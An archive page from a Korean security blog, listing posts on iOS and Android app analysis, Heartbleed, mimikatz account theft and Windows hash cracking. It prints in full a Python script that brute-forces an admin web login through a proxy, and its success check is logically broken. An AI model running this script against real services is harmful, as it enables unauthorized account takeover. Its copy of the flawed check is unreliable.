Category Archives: Development

iOS 앱 정적 분석하기(class-dump-z, clutch)

by apollo89 Posted on 2014년 4월 15일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. iOS 앱 보안진단을 위한 환경설정 iOS 앱 정적 분석하기(class-dump-z, clutch) Objective-C Runtime의 이해와 gdb … Continue reading →

Posted in Objective-C/iPhone, Security/Hacking | Tagged class-dump-z, clutch, 정적분석 | 7 Comments

iOS 앱 보안진단을 위한 환경설정

by apollo89 Posted on 2014년 4월 14일

Posted in Objective-C/iPhone, Security/Hacking | Tagged class-dump-z, Cydia, iOS, ssh, tool | Leave a comment

HeartBleed OpenSSL 취약점(CVE-2014-0160)

by apollo89 Posted on 2014년 4월 10일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. 몇일전부터 HeartBleed OpenSSL 취약점(CVE-2014-0160)이 이슈가 되고 있어서 확인해봤다. 확인해보니 꽤 치명적이다..ㅠ 먼저 HeartBleed 취약점을 … Continue reading →

Posted in Security/Hacking | Tagged heartbleed, openssl | 2 Comments

android 기기 IDA PRO를 이용해 원격디버깅 하기

by apollo89 Posted on 2014년 4월 3일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. 1. IDA PRO 설치 폴더 내 dbgsrv 디렉토리에 가보면 android_server 파일이 있다. 이 파일을 … Continue reading →

Posted in Android, Security/Hacking | Tagged Android, IDA PRO, remote debugging, 동적분석 | 3 Comments

python 파일 확장자 변경(change_Ext.py)

by apollo89 Posted on 2014년 3월 26일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. 파일의 확장자 변경

# -*- coding:utf-8 -*-
import os, sys, optparse

def main():
	parser = optparse.OptionParser('usage changeExt.py -s <source ext> -d <dest ext>')
	parser.add_option('-s', dest='srcext', type='string', help='source ext')
	parser.add_option('-d', dest='destext', type='string', help='dest ext')
	
	(options, args) = parser.parse_args()
	
	srcext = options.srcext
	destext = options.destext

	if (srcext == None) | (destext == None):
		print parser.usage
		exit(0)

	for base, dirs, names in os.walk("./"):
		for name in names:
			if os.path.splitext(name)[1].lower() == "."+srcext :
				src = os.path.join(base, name)
				dest =  os.path.splitext(src)[0]+"."+destext
				#print src
				#print dest
				os.rename(src, dest)
    
if __name__ == '__main__':
    main()

# -*- coding:utf-8 -*-

import os, sys, optparse

def main():

parser = optparse.OptionParser('usage changeExt.py -s <source ext> -d <dest ext>')

parser.add_option('-s', dest='srcext', type='string', help='source ext')

parser.add_option('-d', dest='destext', type='string', help='dest ext')

(options, args) = parser.parse_args()

srcext = options.srcext

destext = options.destext

if (srcext == None) | (destext == None):

print parser.usage

exit(0)

for base, dirs, names in os.walk("./"):

for name in names:

if os.path.splitext(name)[1].lower() == "."+srcext :

src = os.path.join(base, name)

dest = os.path.splitext(src)[0]+"."+destext

#print src

#print dest

os.rename(src, dest)

if __name__ == '__main__':

main()

사용법

$ python changeExt.py
usage changeExt.py -s <source ext> -d <dest ext>

# smali 확장자를 java으로 변경
$ python changeExt.py -s smali -d java

$ python changeExt.py

usage changeExt.py -s <source ext> -d <dest ext>

# smali 확장자를 java으로 변경

$ python changeExt.py -s smali -d java

Posted in Python/Ruby/Perl | Tagged 파이썬, 확장자 | Leave a comment

mimikatz를 이용해 admin$ 가 공유된 서버의 계정탈취

by apollo89 Posted on 2014년 3월 17일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. admin$ 공유를 이용하면 계정을 탈취할 수 있다. 특히 누구나 접근가능한 everyone으로 열린 admin$ 공유는 … Continue reading →

Posted in Security/Hacking | Tagged admin$, crack, mimikatz | 2 Comments

Windows password crack (SAM/SYSTEM)

by apollo89 Posted on 2014년 3월 14일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. Windows password crack (SAM/SYSTEM) 1. windows에서 Shadow Copy 프로그램을 이용하여 C:\Windows\System32\config\ 에 있는 SAM와 … Continue reading →

Posted in Security/Hacking | Tagged crack, SAM, SYSTEM, windows | Leave a comment

python brute force http, https with proxy

by apollo89 Posted on 2014년 3월 4일

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다. 연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다. python brute force http, https with proxy

# -*- coding: utf-8 -*-
import urllib, urllib2, optparse, time

opener = urllib2.build_opener(
                urllib2.HTTPHandler(),
                urllib2.HTTPSHandler(),
                urllib2.ProxyHandler({'http': 'http://proxy_url:port', 'https': 'http://proxy_url:port'}))
urllib2.install_opener(opener)


def post_request(url, params) :
	param = urllib.urlencode(params)
	request = urllib2.Request(url, param)
	
	response = urllib2.urlopen(request)
	response_info = response.info()
	response_html = response.read()
	response.close()

	if response_html.find('用'.decode('gb2312').encode('utf-8'), 0, 100) :
		print(" .")
	else : 
		print("found password!!")

def get_request(url) :
	response = urllib2.urlopen(url)
	response_info = response.info()
	response_html = response.read()
	response.close()

def main():
	parser = optparse.OptionParser('usage bf.py -f passwordfile')
	parser.add_option('-f', dest='filename', type='string', help='input file')

	(options, args) = parser.parse_args()

	filename = options.filename

	if filename == None :
		print parser.usage
		exit(0)

	f = file(filename, 'r')

	while True:
		line = f.readline()

		if not line  :
			# file end
			break
		else :
			print ("passwd : " + line.rstrip('\n'))
			post_url = "https://target.domain/path/login.action"
			post_params = { 
			'paraam1':'test',
			'UserId':'admin',
			'UserPass':line.rstrip('\n')
			}
			post_request(post_url, post_params)

			time.sleep(1)

if __name__ == '__main__':
    main()

# -*- coding: utf-8 -*-

import urllib, urllib2, optparse, time

opener = urllib2.build_opener(

urllib2.HTTPHandler(),

urllib2.HTTPSHandler(),

urllib2.ProxyHandler({'http': 'http://proxy_url:port', 'https': 'http://proxy_url:port'}))

urllib2.install_opener(opener)

def post_request(url, params) :

param = urllib.urlencode(params)

request = urllib2.Request(url, param)

response = urllib2.urlopen(request)

response_info = response.info()

response_html = response.read()

response.close()

if response_html.find('用'.decode('gb2312').encode('utf-8'), 0, 100) :

print(" .")

else :

print("found password!!")

def get_request(url) :

response = urllib2.urlopen(url)

response_info = response.info()

response_html = response.read()

response.close()

def main():

parser = optparse.OptionParser('usage bf.py -f passwordfile')

parser.add_option('-f', dest='filename', type='string', help='input file')

(options, args) = parser.parse_args()

filename = options.filename

if filename == None :

print parser.usage

exit(0)

f = file(filename, 'r')

while True:

line = f.readline()

if not line :

# file end

break

else :

print ("passwd : " + line.rstrip('\n'))

post_url = "https://target.domain/path/login.action"

post_params = {

'paraam1':'test',

'UserId':'admin',

'UserPass':line.rstrip('\n')

}

post_request(post_url, post_params)

time.sleep(1)

if __name__ == '__main__':

main()

Posted in Python/Ruby/Perl, Security/Hacking | Tagged brute force, http, https, proxy, 파이썬 | Leave a comment

실전 악성코드와 멀웨어 분석 – 5장 IDA Pro (2)

by apollo89 Posted on 2014년 1월 14일

Posted in Reading, Reversing | Tagged Malware Analysis, 독서 | 3 Comments

실전 악성코드와 멀웨어 분석 – 5장 IDA Pro (1)

by apollo89 Posted on 2014년 1월 10일

Posted in Reading, Reversing | Tagged Malware Analysis, 독서 | Leave a comment

Apollo89.com

아폴로씨의 잡다한 경험들..